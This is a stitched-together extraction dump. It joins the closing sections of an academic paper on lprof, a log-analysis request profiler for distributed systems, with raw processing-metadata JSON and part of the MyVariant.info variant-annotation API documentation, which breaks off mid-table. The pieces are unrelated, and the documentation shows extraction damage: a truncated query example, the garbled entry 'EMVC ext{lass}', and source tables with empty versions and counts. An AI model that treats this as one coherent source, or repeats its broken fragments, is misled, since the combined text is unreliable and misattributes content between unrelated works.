Table 3 shows lprof’s request attribution accuracy. A log sequence A is considered correct if and only if (i) all its log points indeed belong to this request, and (ii) there is no other log sequence B that should have been merged with A. All of the log messages belonging to a correct log sequence are classified as “correct”. If A and B should have been merged but were not then the messages in both A and B are classified as “incomplete”. If a log message in A does not belong to A then all the messages in A are classified as “incorrect”. The “failed” column counts the log messages that were not attributed to any request.
Overall, 88.2% of the log messages are attributed to the correct requests.
7.9% of the log messages are in the “incomplete” category. In particular, 19.2% of the messages in Yarn were mistakenly separated because of only 2 unique log points that print the messages in the following pattern: “Starting resource-monitoring for container_1398” and “Memory usage of container-id container_1398..”. lprof failed to group them because the container ID was first passed into an array after the first log point and then read from the array when the second message was printed. lprof’s conservative data-flow analysis failed to track the complicated data-flow and inferred that the container ID was modified between the first and the second log points, thus attributing them into separate top-level methods. A similar programming pattern was also the cause of “incomplete” log messages for Cassandra, HBase, and HDFS.
1.0% of the log messages were attributed to the wrong requests, primarily because they do not have identifiers and they are output in a loop so that the DAG groups them all together. This could potentially be addressed with a more accurate path-sensitive static analysis.
2.9% of the log messages were not attributed to any request because they could not be parsed. We manually examined these messages and the source code, and found that in these cases, developers often use complicated data-flow and control-flow to construct a message. However, these messages are mostly generated in the start-up or shut-down phase of the systems and thus likely do not affect the quality of the performance analysis.
Inaccuracy in lprof’s request attribution could affect users as follows: since the “incomplete requests” are caused by two log sequences A and B that should have been merged but were not, lprof would over-count the number of requests. For the same reason, timing information separately obtained from A and B would be underestimations of the actual latency. The “incorrect requests” are the opposite; because they should have been split into separate requests, “incorrect requests” would cause lprof to under-count the number of requests yet overestimate the latencies. Note that administrators should quickly realize the “incorrect requests” because lprof provides the sequence of log messages along with their source code information. The information about the “failed” messages, however, will be lost.
Number of messages per request: Figure 13 shows the cumulative distribution function on the number of mes-
Figure 13: The cumulative distribution function on the number of log messages per unique request. For Cassandra, the number of nodes each streaming session traverses varies greatly, resulting in a large number of unique log sequences (it eventually reaches 100% with 1484 log messages, which is not shown in the figure).
6.3 Real-world Performance Anomalies
To evaluate whether lprof would be effective in debugging realistic anomalies, we randomly selected 23 user-reported real-world performance anomalies from the bugzilla databases associated with the systems we tested. This allows us to understand, via a small number of samples, what percentage of real-world performance bugs could benefit from lprof. For each bug, we carefully read the bug report, the discussions, and the related code and patch to understand it. We then reproduced each one to obtain the logs, and applied lprof to analyze its effectiveness. This is an extremely time-consuming process. The cases are summarized in Table 4. We classify lprof as helpful if the anomaly can clearly be detected through queries on lprof’s request database.
Overall, lprof is helpful in detecting and diagnosing 65% of the real-world failures we considered. Next, we discuss when and why lprof is useful or not-so-useful.
Table 5 shows the features of lprof that are helpful in debugging real-world performance anomalies we considered. The “request count” analysis is useful in 73% of the cases. In these cases, the performance problems are caused by an unusually large number of requests, either external ones submitted by users or internal operations. For example, the second performance anomaly we discussed in Section 2 belongs to this category, where the number of verifyBlock operations is suspiciously large. In these cases, lprof can show the large request number and pinpoint the particular offending requests.
Another useful feature of lprof is its capability to associate a request’s log sequence to the source code. This can significantly reduce developers’ efforts in searching for the root cause. In particular, among the cases where lprof is helpful, 67% of the bugs that introduced inefficiencies were in the same method that contained one of the log points involved in the anomalous log sequence.
lprof’s capability of analyzing the latency of requests is useful in identifying the particular request that is slow. The visualization of request latency is particularly useful in analyzing performance creep. For example, the anomaly to HDFS’s write requests discussed in Section 2 can result in performance creep if not fixed. In addition, lprof can further separate the requests of the same type by their different LIDs which corresponds to different execution paths. For example, in an HBase performance anomaly [19], there was a significant slow-down in 1% of the read requests because they triggered a buggy code path. lprof can separate these anomalous reads from other normal ones.
In practice, the user might not identify the root cause in her first attempt, but instead will have to go through a sequence of hypotheses validations. The variety of performance information that can be SQL-queried makes lprof a particularly useful debugging tool. For example, an HBase bug caused an unbalanced workload — a few region servers were serving the vast majority of the requests while others were idle [18]. The root cause is clearly visible if the administrator examines the number of requests per node. However, she will likely first notice the request being slow (via a request latency query), isolate particularly slow requests, before realize the root cause.
In the cases where lprof was not helpful, most (75%)
were because the anomalous requests did not print any log messages. For example, a pair of unnecessary memory serialization and deserialization in Cassandra would not show up in the log. While theoretically one can add log messages to the start and end of these operations, in practice, this may not be realistic as the additional logging may introduce undesirable slowdown. For example, the serialization operation in Cassandra is an in-memory operation that is executed on every network communication, and adding log messages to it will likely introduce slowdown. In another case, the anomalous requests would only print one log message, so lprof cannot extract latency information by comparing differences between multiple timestamps. Finally, there was one case where the checksum verification in HBase was redundant because it was already verified by the underlying HDFS. Both verifications from HBase and HDFS were logged, but lprof cannot identify the redundancy because it does not correlate logs across different applications.
If verbose logging had been enabled, lprof would have been able to detect an additional 8.6% of the real-world performance anomalies that we considered since the offending requests print log messages under the most verbose level. However, enabling verbose logging will likely introduce significant performance overhead.
6.4 Time and Space Evaluation
The map and combine functions ran on each EC2 node, and the reduce function ran on a single server with 24 2.2GHz Intel Xeon cores and 32 GB of RAM.
Figure 14 shows the size of intermediate result. On average, after map and combine, the intermediate result size is only 7.3% of the size of the raw log. This is the size of data that has to be shuffled over the network for the reduce function. After reduce, the final output size is 4.8% of the size of the raw log.
Table 6 shows the time and memory used by lprof’s log analysis. lprof’s map and combine functions finish in less than 6 minutes for every system exception for Yarn, which takes 14 minutes. Over 80% of the time is spent on log parsing. We observe that when a message can match multiple regular expressions, it takes much more time than those that match uniquely. The memory footprint for map and combine is less than 3.3GB in all cases.
Table 6: Log analysis time and memory footprint. For the parallel map and combine functions, numbers are shown in the form of median/max.
The reduce function takes no more than 21 seconds for HDFS, Cassandra, and HBase, but currently takes 19 minutes for Yarn. It also uses 7.2GB of memory. Currently, our MapReduce jobs are implemented in Python using Hadoop’s streaming mode, which may be the source of the inefficiency. (Profiling Yarn’s reduce function shows that over half of the time is spent in data structure initializations.) Note that we run the reduce job on a single node using a single thread. The reducer could and should be parallelized in real-world usage.
7 Limitations and Discussions
We outline the limitations of lprof through a series of questions. We also discuss how lprof could be extended under different scenarios.
(1) What are the logging practices that make lprof most effective? The output of lprof, and thus its usefulness, is only as good as the logs output by the system. In particular, the following properties will help lprof to be most effective: (i) attached timestamps from a reasonably synchronized clock; (ii) output messages in those requests that need profiling (multiple messages are needed to enable latency related analysis); (iii) the existence of a reasonably distinctive request identifier, and (iv) not printing the same message pattern in multiple program locations.
Note that these properties not only will help lprof, but also are useful for manual debugging. lprof naturally leverages such existing best-practices. Furthermore, lprof’s static analysis can be used to suggest how to improve logging. It identifies which threads do not contain any log printing statements. These are candidates for adding log printing statements. lprof can also infer the request identifiers for developers to log.
(2) Can lprof be extended to other programming languages? Our implementation relies on Java bytecode and hence is restricted to Java programs (or other languages that use Java bytecode, such as Scala). Similar analysis can be done on LLVM bytecode [24], but this would most likely require access to the C/C++ source code so it can be compiled to LLVM bytecode.
(3) How scalable is lprof? While the map phase is executed in parallel on each node that stores the raw log, the

reduce phase may not be evenly distributed. This is because all of the RAs that contain top-level methods that might communicate with each other need to be shuffled to the same reducer. This can result in unbalanced load. For example, in Yarn, 75% of the log messages are printed by one log point during the heartbeat process, and their RAs have to be shuffled to the same reducer node. This node becomes the bottleneck even if there are other idle reducer nodes. How to further balance the workload is part of future work.
(4) How does lprof change if a unique per-request ID exist? If such an ID exists in every log message, then there would be no need to infer the request identifier. The log string format parsing could also be simplified since now our log parser only needs to match a message to a log printing statement, but does not need to precisely bind
the values to variables. However, the other components are still needed. DAG and communication pairs are still needed to infer the order dependency between different log messages, especially if we want to perform per-thread performance debugging. The MapReduce log analysis is still needed. If such an ID exists, then the accuracy of lprof will increase significantly, and we can better distribute the workload in the reduce function by using this ID as part of the shuffle key.
(5) What happens when the code changes? This requires lprof to perform static analysis on the new version. The new model produced by the static analysis should be sent to each node along with the new version of the system.
8 Related Work
Using machine learning for log analysis: Several tools apply machine learning on log files to detect anomalies [4, 29, 42]. Xu et al., [42] also analyzes the log printing statements in the source code to parse the log. lprof is different and complementary to these techniques. First, these tools target anomaly detection and do not identify request flows as lprof does. Analyzing request flows is useful for numerous applications, including profiling, and understanding system behavior. Moreover, the different goals lead to different techniques being used in our design. Finally, these machine learning techniques can be applied to lprof’s request database to detect anomalies on a per-request, instead of per-log-entry, basis.
Semi-automatic log analysis: SALSA [40] and Mochi [41] also identify request flows from logs produced by Hadoop. However, unlike lprof, their models are manually generated. By examining the code and logs of HDFS, they identify the key log messages that mark the start and the end of a request, and they identify request identifiers, such as block ID. In contrast, lprof automatically infers the order relationship between log printing statements and the request identifiers from the program, and thus is not specific to one particular system. The Mystery Machine [10] extracts per-request performance information from the log files of Facebook’s production systems, and it can correlate log messages across different layers in the software stack. To do this, they attach unique request identifiers to each log message. Commercial tools like VMWare LogInsight [26] and Splunk [38] index the logs, but requires administrators to do keyword-based searches on the log data.
Single thread log analysis: SherLog [43] analyzes the source code and a sequence of error messages to reconstruct the partial execution paths that print the log sequence. Since it is designed to debug functional bugs in single-threaded execution, it uses precise but heavyweight static analysis to infer the precise execution path. In contrast, lprof extracts less-precise information for each request, but it analyzes all the log outputs from all the requests of the entire distributed system.
Instrumentation-based profiling: Instrumentation-based profilers have been widely used for performance debugging [6, 8, 16, 17, 23, 32, 34]. Many, including Project 5 [1], MagPie [3], X-Trace [14], and Dapper [36], just to name a few, are capable of analyzing request flows by instrumenting network communication, and they can profile the entire software stack instead of just a single layer of service. G2 [17] further models all the events into an execution graph that can be analyzed using LINQ queries and user-provided programs. In comparison, lprof is non-intrusive. It also provides source-level profiling information. However, it cannot provide any information if requests do not output log messages.
9 Conclusions
This paper presented lprof, which is, to the best of our knowledge, the first non-intrusive request flow profiler for distributed services. lprof is able to stitch together the dispersed and intertwined log messages and associate them to specific requests based on the information from off-line static analysis on the system’s code. Our evaluation shows that lprof can accurately attribute 88% of the log messages from widely-used, production-quality distributed systems, and is helpful in debugging 65% of the sampled real-world performance anomalies.
Acknowledgements
We greatly appreciate the anonymous reviewers and our shepherd, Ed Nightingale, for their insightful feedback. This research is supported by NSERC Discovery grant, NetApp Faculty Fellowship, and Connaught New Researcher Award.
References
|
{"Source-Url": "https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-zhao.pdf", "len_cl100k_base": 14344, "olmocr-version": "0.1.50", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 56690, "total-output-tokens": 17507, "length": "2e13", "weborganizer": {"__label__adult": 0.0002772808074951172, "__label__art_design": 0.0002982616424560547, "__label__crime_law": 0.0002505779266357422, "__label__education_jobs": 0.0008153915405273438, "__label__entertainment": 7.534027099609375e-05, "__label__fashion_beauty": 0.00013494491577148438, "__label__finance_business": 0.000286102294921875, "__label__food_dining": 0.00023114681243896484, "__label__games": 0.0005235671997070312, "__label__hardware": 0.001430511474609375, "__label__health": 0.00032138824462890625, "__label__history": 0.000278472900390625, "__label__home_hobbies": 8.589029312133789e-05, "__label__industrial": 0.0003764629364013672, "__label__literature": 0.00024271011352539065, "__label__politics": 0.00020694732666015625, "__label__religion": 0.0003445148468017578, "__label__science_tech": 0.04962158203125, "__label__social_life": 8.243322372436523e-05, "__label__software": 0.0140533447265625, "__label__software_dev": 0.92919921875, "__label__sports_fitness": 0.00020503997802734375, "__label__transportation": 0.0004544258117675781, "__label__travel": 0.0001842975616455078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 74011, 0.02883]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 74011, 0.4842]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 74011, 0.89658]], "google_gemma-3-12b-it_contains_pii": [[0, 574, false], [574, 5616, null], [5616, 11098, null], [11098, 15959, null], [15959, 18315, null], [18315, 23203, null], [23203, 28450, null], [28450, 33236, null], [33236, 37702, null], [37702, 42038, null], [42038, 46811, null], [46811, 52535, null], [52535, 56232, null], [56232, 60989, null], [60989, 66295, null], [66295, 71290, null], [71290, 74011, null]], "google_gemma-3-12b-it_is_public_document": [[0, 574, true], [574, 5616, null], [5616, 11098, null], [11098, 15959, null], [15959, 18315, null], [18315, 23203, null], [23203, 28450, null], [28450, 33236, null], [33236, 37702, null], [37702, 42038, null], [42038, 46811, null], [46811, 52535, null], [52535, 56232, null], [56232, 60989, null], [60989, 66295, null], [66295, 71290, null], [71290, 74011, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 74011, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 74011, null]], "pdf_page_numbers": [[0, 574, 1], [574, 5616, 2], [5616, 11098, 3], [11098, 15959, 4], [15959, 18315, 5], [18315, 23203, 6], [23203, 28450, 7], [28450, 33236, 8], [33236, 37702, 9], [37702, 42038, 10], [42038, 46811, 11], [46811, 52535, 12], [52535, 56232, 13], [56232, 60989, 14], [60989, 66295, 15], [66295, 71290, 16], [71290, 74011, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 74011, 0.07918]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
93f9d50697e65b222824710669cafd41a1f36fef
|
[REMOVED]
|
{"len_cl100k_base": 15785, "olmocr-version": "0.1.50", "pdf-total-pages": 33, "total-fallback-pages": 0, "total-input-tokens": 84998, "total-output-tokens": 18609, "length": "2e13", "weborganizer": {"__label__adult": 0.0003223419189453125, "__label__art_design": 0.0002636909484863281, "__label__crime_law": 0.00023066997528076172, "__label__education_jobs": 0.0006251335144042969, "__label__entertainment": 6.437301635742188e-05, "__label__fashion_beauty": 0.00012230873107910156, "__label__finance_business": 0.0001316070556640625, "__label__food_dining": 0.00031065940856933594, "__label__games": 0.0004839897155761719, "__label__hardware": 0.000743865966796875, "__label__health": 0.0003464221954345703, "__label__history": 0.00023496150970458984, "__label__home_hobbies": 7.086992263793945e-05, "__label__industrial": 0.00030612945556640625, "__label__literature": 0.00022327899932861328, "__label__politics": 0.00020301342010498047, "__label__religion": 0.0004830360412597656, "__label__science_tech": 0.010894775390625, "__label__social_life": 8.672475814819336e-05, "__label__software": 0.004390716552734375, "__label__software_dev": 0.978515625, "__label__sports_fitness": 0.0002605915069580078, "__label__transportation": 0.0004763603210449219, "__label__travel": 0.00021708011627197263}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78843, 0.00968]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78843, 0.3118]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78843, 0.88972]], "google_gemma-3-12b-it_contains_pii": [[0, 3533, false], [3533, 6482, null], [6482, 9964, null], [9964, 13648, null], [13648, 17055, null], [17055, 19480, null], [19480, 19653, null], [19653, 20733, null], [20733, 23795, null], [23795, 25237, null], [25237, 27405, null], [27405, 30859, null], [30859, 31274, null], [31274, 33656, null], [33656, 36672, null], [36672, 39733, null], [39733, 42179, null], [42179, 45103, null], [45103, 45240, null], [45240, 47918, null], [47918, 50161, null], [50161, 52472, null], [52472, 54423, null], [54423, 57113, null], [57113, 59618, null], [59618, 62058, null], [62058, 64542, null], [64542, 68407, null], [68407, 72141, null], [72141, 75288, null], [75288, 76273, null], [76273, 77997, null], [77997, 78843, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3533, true], [3533, 6482, null], [6482, 9964, null], [9964, 13648, null], [13648, 17055, null], [17055, 19480, null], [19480, 19653, null], [19653, 20733, null], [20733, 23795, null], [23795, 25237, null], [25237, 27405, null], [27405, 30859, null], [30859, 31274, null], [31274, 33656, null], [33656, 36672, null], [36672, 39733, null], [39733, 42179, null], [42179, 45103, null], [45103, 45240, null], [45240, 47918, null], [47918, 50161, null], [50161, 52472, null], [52472, 54423, null], [54423, 57113, null], [57113, 59618, null], [59618, 62058, null], [62058, 64542, null], [64542, 68407, null], [68407, 72141, null], [72141, 75288, null], [75288, 76273, null], [76273, 77997, null], [77997, 78843, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78843, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78843, null]], "pdf_page_numbers": [[0, 3533, 1], [3533, 6482, 2], [6482, 9964, 3], [9964, 13648, 4], [13648, 17055, 5], [17055, 19480, 6], [19480, 19653, 7], [19653, 20733, 8], [20733, 23795, 9], [23795, 25237, 10], [25237, 27405, 11], [27405, 30859, 12], [30859, 31274, 13], [31274, 33656, 14], [33656, 36672, 15], [36672, 39733, 16], [39733, 42179, 17], [42179, 45103, 18], [45103, 45240, 19], [45240, 47918, 20], [47918, 50161, 21], [50161, 52472, 22], [52472, 54423, 23], [54423, 57113, 24], [57113, 59618, 25], [59618, 62058, 26], [62058, 64542, 27], [64542, 68407, 28], [68407, 72141, 29], [72141, 75288, 30], [75288, 76273, 31], [76273, 77997, 32], [77997, 78843, 33]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78843, 0.0234]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
4942d13b86ef13cf83b0dbc4640d3b7665bbac48
|
3.6.2 MyVariant R package ................................................................. 26
3.6.3 MyVariant Node.js package ......................................................... 26
3.6.4 Another MyVariant.info python module ..................................... 27
3.6.5 A JBrowse plugin for MyVariant.info and MyGene.info .................. 27
4 Related links ................................................................................. 29
MyVariant.info provides simple-to-use REST web services to query/retrieve variant annotation data. It’s designed with an emphasis on simplicity and performance.
MyVariant.info provides two simple web services: one for variant queries and the other for variant annotation retrieval. Both return results in JSON format.
2.1 Variant query service
2.1.1 URL
http://myvariant.info/v1/query
2.1.2 Examples
http://myvariant.info/v1/query?q=rs58991260
http://myvariant.info/v1/query?q=chr1:69000-70000
http://myvariant.info/v1/query?q=dbsnp.vartype:snp
http://myvariant.info/v1/query?q=_exists_:dbsnp AND NOT dbsnp.vartype:indel
http://myvariant.info/v1/query?q=dbnsfp.polyphen2.hdiv.score:>0.99 AND chrom:1
˓→polyphen.cat&size=0
http://myvariant.info/v1/query?q=_exists_:dbsnp AND _exists_:cosmic
Hint: View nicely formatted JSON result in your browser with this handy add-on: JSON formatter for Chrome or JSONView for Firefox.
2.1.3 To learn more
- You can read the full description of our query syntax here.
2.2 Variant annotation service
2.2.1 URL
http://myvariant.info/v1/variant/<variant_id>
"<variant_id>" is an HGVS name based variant id using genomic location based on hg19 human genome assembly.
2.2.2 Examples
http://myvariant.info/v1/variant/chr1:g.35367G>A
http://myvariant.info/v1/variant/chr7:g.55241707G>T
http://myvariant.info/v1/variant/chr9:g.107620835G>A
http://myvariant.info/v1/variant/chr1:g.160145907G>T
http://myvariant.info/v1/variant/chr16:g.28883241A>G
http://myvariant.info/v1/variant/chr3:g.49721532G>A
2.2.3 To learn more
- You can read the full description of our query syntax here.
- Try it live on interactive API page.
- Play with our demo application.
- Yes, batch queries via POST request as well.
3.1 Variant annotation data
3.1.1 Data sources
We currently obtain variant annotation data from several data resources and keep them up-to-date, so that you don’t have to do it:
Total hg19 variants loaded: N/A
<table>
<thead>
<tr>
<th>Source</th>
<th>version</th>
<th># of variants</th>
<th>key name*</th>
</tr>
</thead>
<tbody>
<tr>
<td>dbNSFP</td>
<td>-</td>
<td>-</td>
<td>dbnsfp</td>
</tr>
<tr>
<td>dbSNP</td>
<td>-</td>
<td>-</td>
<td>dbsnp</td>
</tr>
<tr>
<td>ClinVar</td>
<td>-</td>
<td>-</td>
<td>clinvar</td>
</tr>
<tr>
<td>EVS</td>
<td>-</td>
<td>-</td>
<td>evs</td>
</tr>
<tr>
<td>CADD</td>
<td>-</td>
<td>-</td>
<td>cadd</td>
</tr>
<tr>
<td>MutDB</td>
<td>-</td>
<td>-</td>
<td>mutdb</td>
</tr>
<tr>
<td>GWAS Catalog</td>
<td>-</td>
<td>-</td>
<td>gwassnps</td>
</tr>
<tr>
<td>COSMIC</td>
<td>-</td>
<td>-</td>
<td>cosmic</td>
</tr>
<tr>
<td>DOCM</td>
<td>-</td>
<td>-</td>
<td>docm</td>
</tr>
<tr>
<td>SNPedia</td>
<td>-</td>
<td>-</td>
<td>snpedia</td>
</tr>
<tr>
<td>EMVC ext{lass}</td>
<td>-</td>
<td>-</td>
<td>emv</td>
</tr>
<tr>
<td>Scripps Wellderly</td>
<td>-</td>
<td>-</td>
<td>wellderly</td>
</tr>
<tr>
<td>EXAC</td>
<td>-</td>
<td>-</td>
<td>exac</td>
</tr>
<tr>
<td>GRASP</td>
<td>-</td>
<td>-</td>
<td>grasp</td>
</tr>
<tr>
<td>UniProt</td>
<td>-</td>
<td>-</td>
<td>uniprot</td>
</tr>
<tr>
<td>CIViC</td>
<td>-</td>
<td>-</td>
<td>civic</td>
</tr>
<tr>
<td>Cancer Genome Interpreter</td>
<td>-</td>
<td>-</td>
<td>cgi</td>
</tr>
<tr>
<td>genome Aggregation Database</td>
<td>-</td>
<td>-</td>
<td>gnomad_genome</td>
</tr>
<tr>
<td>genome Aggregation Database</td>
<td>-</td>
<td>-</td>
<td>gnomad_exome</td>
</tr>
<tr>
<td>Geno2MP</td>
<td>-</td>
<td>-</td>
<td>geno2mp</td>
</tr>
</tbody>
</table>
Total hg38 variants loaded: N/A
<table>
<thead>
<tr>
<th>Source</th>
<th>version</th>
<th># of variants</th>
<th>key name*</th>
</tr>
</thead>
<tbody>
<tr>
<td>dbNSFP</td>
<td>-</td>
<td>-</td>
<td>dbnsfp</td>
</tr>
<tr>
<td>dbSNP</td>
<td>-</td>
<td>-</td>
<td>dbsnp</td>
</tr>
<tr>
<td>ClinVar</td>
<td>-</td>
<td>-</td>
<td>clinvar</td>
</tr>
<tr>
<td>EVS</td>
<td>-</td>
<td>-</td>
<td>evs</td>
</tr>
<tr>
<td>UniProt</td>
<td>-</td>
<td>-</td>
<td>uniprot</td>
</tr>
<tr>
<td>genome Aggregation Database</td>
<td>-</td>
<td>-</td>
<td>gnomad_genome</td>
</tr>
<tr>
<td>genome Aggregation Database</td>
<td>-</td>
<td>-</td>
<td>gnomad_exome</td>
</tr>
</tbody>
</table>
* key name: this is the key for the specific annotation data in a variant object.
The most updated information can be accessed here for hg19 and here for hg38.
**Note:** Each data source may have its own usage restrictions (e.g. CADD data are free for non-commercial use only). Please refer to the data source pages above for their specific restrictions.
### 3.1.2 Variant object
Variant annotation data are both stored and returned as a variant object, which is essentially a collection of fields (attributes) and their values:
```json
{ "_id": "chr1:g.35367G>A", "_version": 2, "cadd": { "alt": "A", "annotype": "NonCodingTranscript", "chrom": 1, "gene": { "cds": { "cdna_pos": 476, "rel_cdna_pos": 0.4 }, "feature_id": "ENST00000417324", "gene_id": "ENSG00000237613", }, "ref": "G", "type": "SNV" }, "dbnsfp": { "aa": { "aapos_sift": "ENSP00000409362:P44L", "alt": "L", "codonpos": 2, "pos": 44, "ref": "P", "refcodon": "CCG" }, "alt": "A", "ancestral_allele": "G", "chrom": "1", }
```
(continues on next page)
"ensembl": {
"geneid": "ENSG00000237613",
"transcriptid": "ENST00000417324"
},
"genename": "FAM138A",
"hg19": {
"end": 35367,
"start": 35367
}
}
The example above omits many of the available fields. For a full example, check out this example variant, or try the interactive API page.
### 3.1.3 _id field
Each individual variant object contains an “_id” field as the primary key. We utilize the recommended nomenclature from Human Genome Variation Society to define the “_id” field in MyVariant.info. Specifically, we use HGVS’s genomic reference sequence notation based on the current reference genome assembly (e.g. hg19 for human). The followings are brief representations of major types of genetic variants. More examples could be found at HVGS recommendations for the description of DNA sequence variants page.
**Note:** The default reference genome assembly is always human hg19 in MyVariant.info, so we only use “chr???” to represent the reference genomic sequence in “_id” field. The valid chromosomes representations are chr1, chr2, ..., chr22, chrX, chrY and chrMT. Do not use chr23 for chrX, chr24 for chrY, or chrM for chrMT.
- **SNV example:**
chr1:g.35366C>T
The above _id represents a C to T SNV on chromosome 1, genomic position 35366.
- **Insertion example:**
chr2:g.17142_17143insA
The above _id represents that an A is inserted between genomic position 17142 and 17143 on chromosome 2.
- **Deletion example:**
chrMT:g.8271_8279del
The above _id represents that a nine nucleotides deletion between genomic position 8271 and 8279 on chromosome MT. Note that we don’t include the deleted sequence in the _id field in this case.
- **Deletion/Insertion example:**
chrX:g.14112_14117delinsTG
The above _id represents that six nucleotides between genomic position 14112 and 14117 are replaced by TG.
3.1.4 _score field
You will often see a "_score" field in the returned variant object, which is the internal score representing how well the query matches the returned variant object. It probably does not mean much in variant annotation service when only one variant object is returned. In variant query service, by default, the returned variant hits are sorted by the scores in descending order.
3.1.5 _version field
Sometime, you will see a "_version" field in the returned variant object, e.g. from the v1/variant endpoint. This field is basically for our internal information purpose, not very useful to the end users. You can just ignore it.
But for those who are curious, here is the explanation. The value of this "_version" field can be a small integer like 1, 2, 5 etc. The number indicates the version history of this particular variant object (i.e. how many times this object was updated). Because each variant object is updated independently and incrementally only when the updates to that particular variant are available, the "_version" values differ across variant objects. Of course, from time to time, when we need to make a full-data release (with some huge updates), every variant object will be re-created and their "_version" values will all be reset to 1.
Please also note that we don’t keep any older versions of a variant object, the one returned from the API request is always the latest one we have. The "_version" field just indicates how many times it was updated in the past (since our last full data release).
3.1.6 Available fields
The table below lists all of the possible fields that could be in a variant object, as well as all of their parents (for nested fields). If the field is indexed, it may also be directly queried, e.g.
```
q=dbnsfp.polyphen2.hdiv.score:>0.99
```
All fields can be used with _exists_ or _missing_ filters, e.g.
```
q=_exists_:dbsnp AND _exists_:cosmic
q=_missing_:wellderly
```
or as inputs to the fields parameter, e.g.
```
q=_exists_:dbsnp&fields=dbsnp.rsid,dbsnp.vartype
```
3.2 Data release notes
This page contains metadata about each MyVariant.info data release. Click a link to see more.
3.2.1 MyVariant Releases
3.3 Variant query service
This page describes the reference for MyVariant.info variant query web service. It’s also recommended to try it live on our interactive API page.
3.3.1 Service endpoint
http://myvariant.info/v1/query
3.3.2 GET request
Query parameters
q
Required, passing user query. The detailed query syntax for parameter “q” we explained below.
fields
Optional, a comma-separated string to limit the fields returned from the matching variant hits. The supported field names can be found from any variant object (e.g. here). Note that it supports dot notation, and wildcards as well, e.g., you can pass “dbnsfp”, “dbnsfp.genename”, or “dbnsfp.aa.*”. If “fields=all”, all available fields will be returned. Default: “all”.
size
Optional, the maximum number of matching variant hits to return (with a cap of 1000 at the moment). Default: 10.
from
Optional, the number of matching variant hits to skip, starting from 0. Default: 0
Hint: The combination of “size” and “from” parameters can be used to get paging for large query:
| q=cdk* & size=50 | first 50 hits |
| q=cdk* & size=50 & from=50 | the next 50 hits |
fetch_all
Optional, a boolean, which when TRUE, allows fast retrieval of all unsorted query hits. The return object contains a _scroll_id field, which when passed as a parameter to the query endpoint, returns the next 1000 query results. Setting fetch_all = TRUE causes the results to be inherently unsorted, therefore the sort parameter is ignored. For more information see examples using fetch_all here. Default: FALSE.
scroll_id
Optional, a string containing the _scroll_id returned from a query request with fetch_all = TRUE. Supplying a valid scroll_id will return the next 1000 unordered results. If the next results are not obtained within 1 minute of the previous set of results, the scroll_id becomes stale, and a new one must be obtained.
with another query request with `fetch_all = TRUE`. All other parameters are ignored when the `scroll_id` parameter is supplied. For more information see examples using `scroll_id` here.
**sort**
Optional, the comma-separated fields to sort on. Prefix with “-” for descending order, otherwise in ascending order. Default: sort by matching scores in descending order.
**facets**
Optional, a single field or comma-separated fields to return facets, for example, “facets=cadd”, “facets=cadd,dbsnp.vartype”. See examples of faceted queries here.
**facet_size**
Optional, an integer (1 <= facet_size <= 1000) that specifies how many buckets to return in a faceted query.
**callback**
Optional, you can pass a “callback” parameter to make a JSONP call.
**dotfield**
Optional, can be used to control the format of the returned variant object. If “dotfield” is true, the returned data object is returned flattened (no nested objects) using dotfield notation for key names. Default: false.
**email**
Optional, if you are regular users of our services, we encourage you to provide us an email, so that we can better track the usage or follow up with you.
**Query syntax**
Examples of query parameter “q”:
**Simple queries**
search for everything:
```
q=rs58991260 # search for rsid
```
Fielded queries
<table>
<thead>
<tr>
<th>Query</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>q=chr1:69000-70000</td>
<td># for a genomic range</td>
</tr>
<tr>
<td>q=dbsnp.vartype:snp</td>
<td># for matching value on a specific field</td>
